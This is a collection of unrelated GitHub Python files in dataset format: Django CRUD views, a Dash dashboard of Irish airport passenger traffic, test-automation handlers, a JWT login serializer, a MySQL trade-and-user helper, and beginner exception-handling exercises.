get_object_or_404(Registration, pk=pk)\n if request.method == 'POST':\n registration.delete()\n return redirect('registration_list')\n context = {\n 'registration': registration,\n }\n return render(request, 'registration_delete.html', context)\n\n\n# View for listing all registrations\ndef registration_list(request):\n registrations = Registration.objects.all()\n context = {\n 'registrations': registrations,\n }\n return render(request, 'registration_list.html', context)\n\n\n# View for displaying details of a single registration\ndef registration_detail(request, pk):\n registration = get_object_or_404(Registration, pk=pk)\n context = {\n 'registration': registration,\n }\n return render(request, 'registration_detail.html', context)\n\n\n# View for creating a new region\ndef region_create(request):\n form = RegionForm(request.POST or None)\n if form.is_valid():\n form.save()\n return redirect('region_list')\n context = {\n 'form': form,\n }\n return render(request, 'region_create.html', context)\n\n\n# View for updating an existing region\ndef region_update(request, pk):\n region = get_object_or_404(Region, pk=pk)\n form = RegionForm(request.POST or None, instance=region)\n if form.is_valid():\n form.save()\n return redirect('region_list')\n context = {\n 'form': form,\n }\n return render(request, 'region_update.html', context)\n\n\n# View for deleting a region\ndef region_delete(request, pk):\n region = get_object_or_404(Region, pk=pk)\n if request.method == 'POST':\n region.delete()\n return redirect('region_list')\n context = {\n 'region': region,\n }\n return render(request, 'region_delete.html', context)\n\n\n# View for listing all regions\ndef region_list(request):\n regions = Region.objects.all()\n context = {\n 'regions': regions,\n }\n return render(request, 'region_list.html', context)\n\n\n# View for displaying details of a single region\ndef region_detail(request, pk):\n region = get_object_or_404(Region, pk=pk)\n context = {\n 'region': region,\n }\n return render(request, 'region_detail.html', context)\n\n\n# View for creating a new district\ndef district_create(request):\n form = DistrictForm(request.POST or None)\n if form.is_valid():\n form.save()\n return redirect('district_list')\n context = {\n 'form': form,\n }\n return render(request, 'district_create.html', context)\n\n\n# View for updating an existing district\ndef district_update(request, pk):\n district = get_object_or_404(District, pk=pk)\n form = DistrictForm(request.POST or None, instance=district)\n if form.is_valid():\n form.save()\n return redirect('district_list')\n context = {\n 'form': form,\n }\n return render(request, 'district_update.html', context)\n\n\n# View for deleting a district\ndef district_delete(request, pk):\n district = get_object_or_404(District, pk=pk)\n if request.method == 'POST':\n district.delete()\n return redirect('district_list')\n context = {\n 'district': district,\n }\n return render(request, 'district_delete.html', context)\n\n\n# View for listing all districts\ndef district_list(request):\n districts = District.objects.all()\n context = {\n 'districts': districts,\n }\n return render(request, 'district_list.html', context)\n\n\n# View for displaying details of a single district\ndef district_detail(request, pk):\n district = get_object_or_404(District, pk=pk)\n context = {\n 'district': district,\n }\n return render(request, 'district_detail.html', context)\n","repo_name":"rweshoborak/yanga","sub_path":"membership/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26193268368","text":"import pandas as pd\nimport numpy as np\nimport plotly.express as px\nimport dash\nimport dash_html_components as html\nimport dash_core_components as dcc\nfrom dash.dependencies import Input, Output\n\n## SOME DATASET PREPARATION\ndf = pd.read_csv('Airport_Traffic_Data.csv')\ndf = df.dropna()\ndf = df.astype({\"DATA\": int})\ndf['Foreign Airport'] = df['Foreign Airport'].str.split(')').str[0] + ')'\n\n\n# Fix a few naming conventions\ndf['Country'] = np.where(df['Country'] == 'ACORES', 'PORTUGAL', df['Country'])\ndf['Country'] = np.where(df['Country'] == 'ENGALND', 'ENGLAND', df['Country'])\nengland_airports = ['Lydd (LYX)', 'Lynham Raf (LYE)', 'Northolt (NHT)', 'Waddington (WTN)','Yeovilton (YEO)']\ndf['Country'] = np.where(df['Foreign Airport'].isin(england_airports), 'ENGLAND', df['Country'])\ndf['Country'] = np.where(df['Country'] == 'UK', 'SCOTLAND', df['Country'])\n\n## START THE APP LAYOUT\n\napp = dash.Dash(__name__, meta_tags=[\n {\"name\": \"viewport\", \"content\": \"width=device-width, initial-scale=1\"}\n ])\napp.layout = html.Div([\n\n ## The div contains the app title and two top clip art pics\n html.Div([ # Title banner\n html.Div([\n html.Img(\n src='assets/plane-clipart-transparent-15.png',\n alt='Plane clip art',\n height='120px',\n style={'float': 'right'}\n ),\n ],\n ),\n html.Div([\n html.H3(\"Passenger Movement Through Irish Airports\", style={'text-align': 'center'})\n ],\n ),\n html.Div([\n html.Img(\n src='assets/flag_irish.png',\n alt='Ireland clip art',\n height='120px',\n ),\n ],\n ),\n ],\n className='app-header',\n ),\n\n ## The div contains the middle section of the options box and map box\n html.Div([ # Div for selection components\n html.Div([\n html.Div([ # Div for selection components\n html.H6('Choose an Irish airport'),\n dcc.Dropdown(\n id='selected_irish_airport',\n options=[\n {'label': 'Donegal (CFN)', 'value': 'CFN Donegal (CFN),Republic Of Ireland'},\n {'label': 'Dublin (DUB)', 'value': 'DUB Dublin (DUB),Republic Of Ireland'},\n {'label': 'Kerry (KIR)', 'value': 'KIR Kerry County (KIR),Republic Of Ireland'},\n {'label': 'Knock (NOC)',\n 'value': 'NOC Knock - Ireland West (NOC),Republic Of Ireland'},\n {'label': 'Cork (ORK)', 'value': 'ORK Cork (ORK),Republic Of Ireland'},\n {'label': 'Shannon (SNN)', 'value': 'SNN Shannon (SNN),Republic Of Ireland'},\n ],\n value='DUB Dublin (DUB),Republic Of Ireland',\n style={'color': 'black'},\n clearable=False,\n searchable=False\n ),\n ],\n className='row selections'\n ),\n html.Div([\n html.H6('Choose a time period'),\n dcc.RangeSlider(\n id='date_range',\n min=2006,\n max=2020,\n step=1,\n value=[2015, 2020],\n marks={\n 2006: {'label': '2006'},\n 2008: {'label': '2008'},\n 2010: {'label': '2010'},\n 2012: {'label': '2012'},\n 2014: {'label': '2014'},\n 2016: {'label': '2016'},\n 2018: {'label': '2018'},\n 2020: {'label': '2020'}\n },\n ),\n ],\n className='row selections',\n ),\n html.Div([\n html.Div([\n html.H6('Choose a direction'),\n dcc.RadioItems(\n id='direction',\n options=[\n {'label': 'Outward', 'value': 'Outward'},\n {'label': 'Inward', 'value': 'Inward'},\n ],\n value='Outward',\n labelStyle={'display': 'inline-block'}\n ),\n ],\n className='selections'\n ),\n html.Div([\n html.H6('Choose a chart scale'),\n dcc.RadioItems(\n id='lin-log-option',\n options=[\n {'label': 'linear', 'value': 0},\n {'label': 'log', 'value': 1},\n ],\n value=0,\n labelStyle={'display': 'inline-block'}\n ),\n ],\n className='selections'\n ),\n ],\n className='direction-scale-grid'\n ),\n ],\n ),\n html.Div([\n html.Div([\n html.H6('Choose a map style'),\n html.Div([\n html.Div([\n html.Img(\n src='assets/lay1.png',\n alt='im1',\n height='100%',\n width='100%'\n )\n ]),\n html.Div([\n html.Img(\n src='assets/lay2.png',\n alt='im2',\n height='100%',\n width='100%'\n )\n\n ]), # map layout images\n html.Div([\n html.Img(\n src='assets/lay3.png',\n alt='im3',\n height='100%',\n width='100%'\n )\n ]) # map layout radio items\n ],\n className='map-layouts'\n ),\n\n html.Div([\n dcc.RadioItems(\n id='map-style',\n options=[\n {'label': 'Street Map', 'value': 1},\n {'label': 'Darkmatter', 'value': 2},\n {'label': 'Satellite', 'value': 3},\n ],\n value=1,\n labelStyle={'display': 'inline-block'},\n className='radio-item'\n ),\n\n ],\n ),\n ],\n className='row selections'\n ),\n html.Div([\n html.H6('Filter by Country'),\n dcc.Dropdown(\n id='country_dropdown',\n multi=True,\n value=[],\n )\n ],\n className='row selections'\n ),\n ],\n )\n ],\n className='settings-box'\n ),\n\n html.Div([\n html.Div([\n html.P('Time Period'),\n html.P(id='time-info-text', style={'font-weight': 'normal'}),\n ], className='mini-info-box'),\n\n html.Div([\n html.P('Total trips'),\n html.P(id='trips-info-text', style={'font-weight': 'normal'}),\n ], className='mini-info-box'),\n\n html.Div([\n html.P('Top Location'),\n html.P(id='location-info-text', style={'font-weight': 'normal'}),\n ], className='mini-info-box')\n\n ],\n className='info-box'\n ),\n\n ## This div contains the two graphs at the bottom\n html.Div([\n html.Div([\n html.H5(id='bar_title_text',\n style={'text-align': 'center'}\n ),\n dcc.Graph(\n id='top_10_bar',\n figure={},\n config={\n 'displayModeBar': False\n },\n )\n ],\n className='graph-box'\n ),\n\n html.Div([\n html.H5(id='map_title_text',\n style={'text-align': 'center'}\n ),\n dcc.Graph(\n id='map',\n figure={},\n ),\n\n ],\n className='graph-box'\n )\n ],\n className='graphs-container',\n )\n],\n)\n\n## A few reference dicts to control map layout ect..\nmap_layouts = {\n 1: {'layout': 'open-street-map', 'color': 'inferno', 'size': 'DATA'},\n 2: {'layout': 'carto-darkmatter', 'color': 'pinkyl', 'size': None},\n 3: {'layout': 'white-bg', 'color': 'magenta', 'size': None}\n}\nirish_airports_dict = {\n 'CFN Donegal (CFN),Republic Of Ireland': 'Donegal',\n 'DUB Dublin (DUB),Republic Of Ireland': 'Dublin',\n 'KIR Kerry County (KIR),Republic Of Ireland': 'Kerry',\n 'NOC Knock - Ireland West (NOC),Republic Of Ireland': 'Knock',\n 'ORK Cork (ORK),Republic Of Ireland': 'Cork',\n 'SNN Shannon (SNN),Republic Of Ireland': 'Shannon'\n}\n\nbar_scales = {\n 0: False,\n 1: True\n}\n@app.callback(\n [Output(component_id='country_dropdown', component_property='options')],\n [Input(component_id='selected_irish_airport', component_property='value'),\n Input(component_id='direction', component_property='value'),\n Input(component_id='date_range', component_property='value')]\n)\ndef update_country_options(irish_airport, direction, rangeBar):\n sub_df = df.copy()\n sub_df = sub_df[sub_df['Direction'] == direction]\n sub_df = sub_df[\n (sub_df.Month.str[0:4] >= str(rangeBar[0])) & (sub_df.Month.str[0:4] <= str(int(str(rangeBar[1]))))]\n sub_df = sub_df[sub_df['Irish Airport'] == irish_airport]\n sub_df = sub_df[sub_df['DATA'] != 0]\n countries = sorted(sub_df['Country'].unique())\n county_options = [\n {\"label\": str(county), \"value\": str(county)} for county in countries\n ]\n return [county_options]\n\n\n@app.callback(\n [Output(component_id='map', component_property='figure'),\n Output(component_id='top_10_bar', component_property='figure'),\n Output(component_id='bar_title_text', component_property='children'),\n Output(component_id='map_title_text', component_property='children'),\n Output(component_id='time-info-text', component_property='children'),\n Output(component_id='trips-info-text', component_property='children'),\n Output(component_id='location-info-text', component_property='children'),\n ],\n [Input(component_id='selected_irish_airport', component_property='value'),\n Input(component_id='direction', component_property='value'),\n Input(component_id='date_range', component_property='value'),\n Input(component_id='map-style', component_property='value'),\n Input(component_id='country_dropdown', component_property='value'),\n Input(component_id='lin-log-option', component_property='value')\n ]\n)\ndef update_graph(irish_airport, direction, rangeBar, mapStyle, country_list, bar_scale):\n sub_df = df.copy()\n sub_df = sub_df[sub_df['Direction'] == direction]\n\n reloc_coords = [0, 20]\n if country_list:\n sub_df = sub_df[sub_df['Country'].isin(country_list)]\n reloc_row = sub_df[sub_df['Country'] == country_list[-1]].head(1)\n reloc_coords = [reloc_row.iloc[0]['Long'], reloc_row.iloc[0]['Lat']]\n\n sub_df = sub_df[\n (sub_df.Month.str[0:4] >= str(rangeBar[0])) & (sub_df.Month.str[0:4] <= str(int(str(rangeBar[1]))))]\n sub_df = sub_df[sub_df['Irish Airport'] == irish_airport]\n\n grouped_df = sub_df.groupby(['Airport_code', 'Foreign Airport', 'Country', 'Long', 'Lat'], as_index=False)[\n 'DATA'].sum()\n grouped_df = grouped_df[grouped_df['DATA'] != 0]\n\n trips_text = '{:,}'.format(sum(grouped_df['DATA']))\n\n if grouped_df.empty:\n fig_map = {}\n else:\n fig_map = px.scatter_mapbox(grouped_df, lat=\"Lat\", lon=\"Long\",\n color_continuous_scale=map_layouts[mapStyle]['color'],\n zoom=1 if reloc_coords[1] == 20 else 3,\n color=\"DATA\",\n size=map_layouts[mapStyle]['size'],\n #height=350,\n hover_name=grouped_df['Foreign Airport'],\n center={'lon': reloc_coords[0], 'lat': reloc_coords[1]}\n )\n\n fig_map.update_layout(\n mapbox_style=map_layouts[mapStyle]['layout'],\n plot_bgcolor='GhostWhite',\n paper_bgcolor='GhostWhite',\n margin={\"r\": 0, \"t\": 0, \"l\": 0, \"b\": 0}\n )\n if mapStyle == 3:\n fig_map.update_layout(\n mapbox_style=\"white-bg\",\n mapbox_layers=[\n {\n \"below\": 'traces',\n \"sourcetype\": \"raster\",\n \"sourceattribution\": \"United States Geological Survey\",\n \"source\": [\n \"https://basemap.nationalmap.gov/arcgis/rest/services/USGSImageryOnly/MapServer/tile/{z}/{y}/{x}\"\n ]\n }\n ])\n\n # Filter top 10 for bar chart\n\n if grouped_df.empty:\n fig_bar = {}\n location_text = ''\n else:\n grouped_df.sort_values('DATA', inplace=True, ascending=False)\n top_10_df = grouped_df[0:10]\n location_text = top_10_df['Foreign Airport'].iloc[0]\n fig_bar = px.bar(top_10_df, x='Foreign Airport', y='DATA',\n hover_data=['Foreign Airport', 'DATA'], opacity=1, color='DATA', log_y=bar_scales[bar_scale])\n fig_bar.update_layout(barmode='stack',\n xaxis={'categoryorder': 'total descending'},\n plot_bgcolor='GhostWhite',\n paper_bgcolor='GhostWhite'\n )\n fig_bar.update_xaxes(title='')\n\n if rangeBar[0] == rangeBar[1]:\n bar_text = 'Top ' + direction + ' destinations for ' + irish_airports_dict[\n irish_airport] + ' airport in ' + str(rangeBar[0])\n time_text = str(rangeBar[0])\n else:\n bar_text = 'Top ' + direction + ' destinations for ' + irish_airports_dict[\n irish_airport] + ' airport from ' + str(\n rangeBar[0]) + ' to ' + str(rangeBar[1])\n time_text = str(rangeBar[0]) + ' to ' + str(rangeBar[1])\n map_text = direction + ' passenger movement from ' + irish_airports_dict[irish_airport] + ' Airport'\n\n yearly_df = sub_df.copy()\n yearly_df['Year'] = yearly_df.Month.str[0:4]\n\n return fig_map, fig_bar, bar_text, map_text, time_text, trips_text, location_text\n\nif __name__ == '__main__':\n app.run_server(debug=True)","repo_name":"Ronanc20/Irish-Airport-Movement","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":15021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"2655590641","text":"import logging, profile\nfrom pulp_auto.namespace import load_ns \nlog = logging.getLogger(__name__)\n\ndef format_function_call(fn_name, args, kvs):\n '''return a string representation of a fn_name(*args, **kvs) call'''\n rargs = map(lambda x: repr(x), args)\n rkvs = map(lambda x: \"%s=%r\" % (x[0], x[1]), kvs)\n return \"%s(\" % fn_name + \", \".join(rargs + rkvs) + \")\"\n\ndef logged(log_method=log.info):\n '''decorate a method to log its calls and returned value'''\n def decorator_maker(method):\n import functools\n @functools.wraps(method)\n def logged_wrapper(self, *args, **kvs):\n ret = None\n try:\n ret = method(self, *args, **kvs)\n finally:\n log_method(repr(self) + \".\" + format_function_call(method.__name__, args, kvs) + \" == \" + repr(ret))\n return ret\n return logged_wrapper\n return decorator_maker\n\ndef unit_method(method):\n '''maps a method on all the units;\n *args -> units, options, unit_type; **kvs -> PROFILE;\n return PROFILE\n '''\n def wrapped_method(self, *args, **kvs):\n units = load_ns(args[0])\n options = load_ns(args[-1])\n # if there is no PROFILE in kvs, use a PROFILE copy from this module\n PROFILE = kvs.pop('PROFILE', profile.PROFILE.copy())\n type(self).augment_profile(units, PROFILE)\n # map the method on all the units\n PROFILE.num_changes = len(\n map(\n lambda unit: \\\n method(\n self,\n type(self).unit_type_map[unit.type_id],\n unit,\n PROFILE\n ),\n units\n )\n )\n return PROFILE \n wrapped_method.__name__ = method.__name__\n return wrapped_method\n\n\nclass Handler(object):\n '''generic Handler to execute via gofer-agent dispatch call'''\n unit_type_map = {}\n\n def __init__(self, *args, **kvs):\n # store the instantiation call\n self.args = args\n self.kvs = kvs\n\n def __repr__(self):\n return format_function_call(type(self).__name__, self.args, self.kvs)\n\n @classmethod\n def assert_units(cls, units):\n log.debug('asserting %s.unit_type_map: %s:' % (cls.__name__, cls.unit_type_map))\n for unit in units:\n log.debug('asserting: %s' % unit)\n assert 'type_id' in unit, 'Unit %r lacks type_id field' % unit\n assert unit.type_id in cls.unit_type_map, 'Unkown unit type: %r' % unit\n\n @classmethod\n def augment_profile(cls, units, PROFILE):\n # augment profile with requested unit types\n cls.assert_units(units)\n for unit_type in cls.unit_types(units):\n if unit_type not in PROFILE.details:\n PROFILE.details[unit_type] = []\n\n @staticmethod\n def unit_types(units):\n return set([unit.type_id for unit in units])\n\n @logged()\n def profile(self, *args, **kvs):\n '''return the profile'''\n _PROFILE = kvs.pop('PROFILE', PROFILE.copy())\n _PROFILE.num_changes = 0\n return _PROFILE\n\n\nclass Admin(Handler):\n\n @logged()\n def cancel(*args, **kvs):\n return {\n 'succeeded': True\n # Dunno what to return here \n }\n\n\n","repo_name":"alexxa/pulp-automation","sub_path":"pulp_auto/handler/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":3334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"5"} +{"seq_id":"7430246491","text":"#Embedded file name: /Users/versonator/Jenkins/live/output/mac_64_static/Release/python-bundle/MIDI Remote Scripts/Launch_Control/SpecialSessionComponent.py\nfrom itertools import izip_longest\nfrom _Framework.SessionComponent import SessionComponent\n\nclass SpecialSessionComponent(SessionComponent):\n\n def set_clip_launch_buttons(self, buttons):\n for i, button in izip_longest(xrange(self._num_tracks), buttons or []):\n scene = self.selected_scene()\n slot = scene.clip_slot(i)\n slot.set_launch_button(button)","repo_name":"gluon/AbletonLive9_RemoteScripts","sub_path":"Launch_Control/SpecialSessionComponent.py","file_name":"SpecialSessionComponent.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":503,"dataset":"github-code","pt":"5"} +{"seq_id":"17547726726","text":"def jwt_response_payload_handler(token, user=None, request=None):\n \"\"\"\n 自定义jwt认证成功返回数据\n \"\"\"\n return {\n 'token': token,\n 'id': user.id,\n 'username': user.username\n }\n\n\nfrom django.contrib.auth import authenticate\nfrom rest_framework import serializers\nfrom rest_framework_jwt.serializers import JSONWebTokenSerializer\nfrom django.utils.translation import ugettext as _\nfrom rest_framework_jwt.settings import api_settings\njwt_payload_handler = api_settings.JWT_PAYLOAD_HANDLER\njwt_encode_handler = api_settings.JWT_ENCODE_HANDLER\n\n\nclass MeiduoJSONWebToken(JSONWebTokenSerializer):\n \"\"\"\n 重写jwt的验证,只有is_staff才能生成token,登录后台\n \"\"\"\n def validate(self, attrs):\n credentials = {\n self.username_field: attrs.get(self.username_field),\n 'password': attrs.get('password')\n }\n\n if all(credentials.values()):\n user = authenticate(**credentials)\n\n if user:\n if not user.is_active:\n msg = _('User account is disabled.')\n raise serializers.ValidationError(msg)\n if not user.is_staff:\n msg = _('User account is disabled.')\n raise serializers.ValidationError(msg)\n payload = jwt_payload_handler(user)\n\n return {\n 'token': jwt_encode_handler(payload),\n 'user': user\n }\n else:\n msg = _('Unable to log in with provided credentials.')\n raise serializers.ValidationError(msg)\n else:\n msg = _('Must include \"{username_field}\" and \"password\".')\n msg = msg.format(username_field=self.username_field)\n raise serializers.ValidationError(msg)\n\n\nfrom rest_framework_jwt.views import JSONWebTokenAPIView\n\n\nclass MeiduoJSONWebToken(JSONWebTokenAPIView):\n \"\"\"\n API View that receives a POST with a user's username and password.\n\n Returns a JSON Web Token that can be used for authenticated requests.\n \"\"\"\n serializer_class = MeiduoJSONWebToken\n\nmeiduo_token = MeiduoJSONWebToken.as_view()","repo_name":"kura-Lee/meiduo-mall","sub_path":"meiduo_mall/apps/meiduo_admin/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"28222706493","text":"# 예외처리\n\ntry:\n print(\"나누기 전용 계산기입니다.\")\n nums = []\n nums.append(int(input(\"첫 번째 숫자를 입력하세요 : \")))\n nums.append(int(input(\"첫 번째 숫자를 입력하세요 : \")))\n nums.append(int(nums[0] / nums[1]))\n print(\"{} / {} = {}\".format(nums[0], nums[1], nums[2]))\n\nexcept ValueError:\n print(\"에러! 잘못된 값을 입력하였습니다.\")\nexcept ZeroDivisionError as err:\n print(err)\nexcept Exception as err:\n print(\"알 수 없는 에러가 발생하였습니다.\")\n print(err)\n\n# 에러 발생시키기, 사용자 정의 에러처리\n\nclass BigNumberError(Exception):\n def __init__(self, msg):\n self.msg = msg\n\n def __str__(self):\n return self.msg\n\ntry:\n print(\"한 자리 숫자 전용 나누기 계산기입니다.\")\n num1 = int(input(\"첫 번째 숫자를 입력하세요 : \"))\n num2 = int(input(\"두 번째 숫자를 입력하세요 : \"))\n if num1 >= 10 or num2 >= 10:\n raise BigNumberError(\"잘못된 값을 입력하였습니다. 한 자리 숫자를 입력해 주세요. 입력값 : {}, {}\".format(num1, num2))\n print(\"{} / {} = {}\".format(num1, num2, int(num1 / num2)))\nexcept ValueError:\n print(\"잘못된 값을 입력하였습니다. 한 자리 숫자를 입력하세요.\")\nexcept BigNumberError as err:\n print(err)\n\n# finally\n\nfinally:\n print(\"계산기를 이용해 주셔서 감사합니다.\")\n\n\n# # Quiz 9\n\n# # 조건 1 : 1보다 작거나 숫자가 아닌 값 입력 시 ValueError로 처리\n# # 출력 메시지 : 잘못된 값을 입력하였습니다.\n# # 조건 2 : 대기 손님이 주문할 수 있는 치킨 양은 총 10마리로 한정\n# # 치킨 소진 시 사용자 정의 에러 [SoldOutError]를 발생시키고 프로그램 종료\n# # 출력 메시지 : 재고가 소진되어 더 이상 주문을 받지 않습니다.\n\nchicken = 10\nwaiting = 1 # 홀 안에는 만석, 대기번호 1부터 시작\n\nwhile(True):\n class SoldOutError(Exception):\n def __init__(self, msg):\n self.msg = msg\n\n def __str__(self):\n return self.msg\n try:\n if chicken == 0:\n raise SoldOutError(\"재고가 소진되어 더 이상 주문을 받지 않습니다.\")\n print(\"[남은 치킨 : {}]\".format(chicken))\n order = int(input(\"치킨 몇 마리 주문하시겠습니까?\"))\n if order < 1:\n raise ValueError\n elif order > chicken:\n print(\"재료가 부족합니다.\")\n else:\n print(\"[대기번호 {}] : {} 마리 주문이 완료되었습니다.\".format(waiting, order))\n waiting += 1\n chicken -= order\n\n except ValueError:\n print(\"잘못된 값을 입력하였습니다.\")\n\n except SoldOutError as err:\n print(err)\n break\n\n# 모듈\nimport lecture_clone.theater_price as mv\n\nmv.price(3)\nmv.morning_price(4)\nmv.soldier_price(5)\n\nfrom lecture_clone.theater_price import *\nprice(3)\n\n# from theater_price import price, morning_price\n# price(3)\n# morning_price(4)\n# soldier_price(3)\n\nfrom lecture_clone.theater_price import soldier_price as price\nprice(3)\n\n\n\n\n\n\n\n","repo_name":"SeheeMoon/python-basic","sub_path":"lecture_clone/practice4.py","file_name":"practice4.py","file_ext":"py","file_size_in_byte":3195,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"42958628712","text":"# -*- coding: utf-8 -*-\n\nfrom ..db import db\nfrom .background_job import BackgroundJob\nfrom ..models import Notification\nfrom structlog import get_logger\nlogger = get_logger()\n\n\nclass DeliverNotificationJob(BackgroundJob):\n ignore_result = True\n\n def run(self, notification_id):\n\n notification = db.session.query(Notification).filter_by(\n id=notification_id\n ).first()\n\n if not notification:\n logger.warning(\n 'DeliverNotificationJob notification not found',\n notification_id=notification_id\n )\n return False\n\n try:\n notification.send()\n except Exception as e:\n logger.error(\n 'DeliverNotificationJob failed',\n error=e,\n notification_id=notification_id\n )\n raise e\n","repo_name":"masom/doorbot-api-python","sub_path":"doorbot/jobs/deliver_notification_job.py","file_name":"deliver_notification_job.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"72792738392","text":"import hashlib\nimport uuid\nimport mysql.connector\n\nclass DatabaseConnection:\n def __init__(self, host=\"localhost\", port=\"3306\", user=\"root1\", password=\"root1\", database=\"ethSq_sandbox\"):\n #host=\"host.docker.internal\"\n self.host = host\n self.port = port\n self.user = user\n self.password = password\n self.database = database\n\n def connect(self):\n try:\n self.connection = mysql.connector.connect(\n host=self.host,\n port=self.port,\n user=self.user,\n password=self.password,\n database=self.database\n )\n #print(\"Connection successful.\")\n except mysql.connector.Error as err:\n print(f\"Error: {err}\")\n\n def disconnect(self):\n if self.connection:\n self.connection.close()\n #print(\"Connection closed.\")\n\n def execute_query(self, query, data=None):\n with self.connection.cursor() as cursor:\n try:\n if data:\n cursor.execute(query, data)\n else:\n cursor.execute(query)\n self.connection.commit()\n return cursor.fetchall() # Fetch the result\n except mysql.connector.Error as err:\n print(f\"Error: {err}\")\n return None\n\n def fetch_data(self, query, data=None):\n cursor = self.connection.cursor()\n result = None\n try:\n if data:\n cursor.execute(query, data)\n else:\n cursor.execute(query)\n result = cursor.fetchall()\n return result\n except mysql.connector.Error as err:\n print(f\"Error: {err}\")\n return None\n\n def test_database_connection(self):\n self.connect()\n self.disconnect()\n\n def fetch_binance_keys(self):\n self.connect()\n query = \"SELECT name, api_key, api_secret FROM api_keys_table\"\n result = self.fetch_data(query)\n self.disconnect()\n if result:\n for row in result:\n if row[0] == 'binance': # 0 is the index for 'name'\n return row[1], row[2] # 1 and 2 are the indices for 'api_key' and 'api_secret'\n print(\"No Binance API keys found.\")\n return None, None\n else:\n print(\"No API keys found.\")\n return None, None\n\n def save_trade_to_db(self, trade_data):\n \"\"\"\n Save trade data into the 'trades' table.\n\n Parameters:\n connection (mysql.connector.connection_cext.CMySQLConnection): The database connection.\n trade_data (dict): A dictionary containing the trade data.\n\n Returns:\n int: The trade_id of the inserted trade.\n \"\"\"\n self.connect()\n cursor = self.connection.cursor()\n\n # SQL query to insert data into the 'trades' table\n sql_query = \"\"\"\n INSERT INTO trades (trade_id, symbol, entry_price, exit_price, quantity, status, entry_timestamp, exit_timestamp, profit_or_loss, sentiment_score, leverage, minion_id)\n VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\n \"\"\"\n\n # Data to be inserted\n data_to_insert = (\n trade_data.get('trade_id'), # Include the UUID\n trade_data.get('symbol'),\n trade_data.get('entry_price'),\n trade_data.get('exit_price'),\n trade_data.get('quantity'),\n trade_data.get('status'),\n trade_data.get('entry_timestamp'),\n trade_data.get('exit_timestamp'),\n trade_data.get('profit_or_loss'),\n trade_data.get('sentiment_score'),\n trade_data.get('leverage'),\n trade_data.get('minion_id')\n )\n\n # Execute the query and commit the transaction\n cursor.execute(sql_query, data_to_insert)\n self.connection.commit()\n\n # Close the cursor\n cursor.close()\n # Close the database connection\n self.disconnect()\n print(\"Trade saved to database:\", trade_data.get('trade_id'))\n\n def retrieve_trade_from_db(self, trade_id):\n\n \"\"\"\n Retrieve a specific trade record from the 'trades' table using its trade_id.\n\n Parameters:\n trade_id (str): The UUID of the trade to be retrieved.\n\n Returns:\n dict: A dictionary containing the trade data, or None if the trade is not found.\n \"\"\"\n self.connect()\n cursor = self.connection.cursor()\n trade = None\n\n # SQL query to fetch data from the 'trades' table for a specific trade_id\n sql_query = \"SELECT trade_id, symbol, entry_price, exit_price, quantity, status, entry_timestamp, exit_timestamp, profit_or_loss, sentiment_score, leverage, minion_id FROM trades WHERE trade_id = %s\"\n\n try:\n cursor.execute(sql_query, (trade_id,))\n result = cursor.fetchone()\n\n if result:\n trade = {\n 'trade_id': result[0],\n 'symbol': result[1],\n 'entry_price': result[2],\n 'exit_price': result[3],\n 'quantity': result[4],\n 'status': result[5],\n 'entry_timestamp': result[6],\n 'exit_timestamp': result[7],\n 'profit_or_loss': result[8],\n 'sentiment_score': result[9],\n 'leverage': result[10],\n 'minion_id': result[11]\n }\n\n except mysql.connector.Error as err:\n print(f\"Error: {err}\")\n\n finally:\n cursor.close()\n\n print(\"Trade retrieved from database:\", trade.get('trade_id'))\n self.disconnect()\n\n def add_new_user(self, username, password):\n #print(\"Attempting to connect to the database...\")\n self.connect()\n #print(\"Connected to the database.\")\n user_id = str(uuid.uuid4())\n #print(f\"Generated user_id: {user_id}\")\n\n hashed_password = hashlib.sha256(password.encode()).hexdigest()\n #print(f\"Hashed password: {hashed_password}\")\n\n query = \"INSERT INTO users (user_id, username, password) VALUES (%s, %s, %s)\"\n #print(f\"Executing query to insert new user: {query}\")\n\n self.execute_query(query, (user_id, username, hashed_password))\n #print(\"User inserted successfully.\")\n\n self.disconnect()\n #print(\"Disconnected from the database.\")\n\n return user_id\n\n def generate_and_store_api_key(self, user_id):\n self.connect()\n # Generate a unique API key\n api_key = str(uuid.uuid4())\n\n # Hash the API key\n hashed_api_key = hashlib.sha256(api_key.encode()).hexdigest()\n\n # Store hashed API key in the database\n query = \"UPDATE users SET api_key = %s WHERE user_id = %s\"\n self.execute_query(query, (hashed_api_key, user_id))\n self.disconnect()\n # Return the original (non-hashed) API key to the user\n return api_key\n\n def get_username(self, user_id):\n self.connect()\n cursor = self.connection.cursor()\n username = None\n\n # Correct the SQL query and parameter placeholder\n query = \"SELECT username FROM users WHERE user_id = %s\"\n\n try:\n cursor.execute(query, (user_id,))\n result = cursor.fetchone() # Fetch the first row\n\n if result:\n username = result[0] # Get the first column (username) from the first row\n except mysql.connector.Error as err:\n print(f\"Error: {err}\")\n\n finally:\n cursor.close()\n self.disconnect()\n\n return username\n\n","repo_name":"stenuuesoo/ethSc","sub_path":"app/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":7790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36674971728","text":"\"\"\"docstring.\"\"\"\n\nimport os\n\n\nfrom difflib import get_close_matches\n\nfrom sklearn.pipeline import Pipeline\n\nfrom cleaner import TextProcessor\nfrom lsi import GensimLsi\nfrom vectorizers import GensimTfidf\n\nimport pickle\n\n# with open(\"org_data.pkl\", 'rb') as fp:\n# data = pickle.load(fp)\n# with open(\"name_list.pkl\", 'rb') as fp:\n# data_names = pickle.load(fp)\npath = os.path.join(os.path.dirname(__file__), 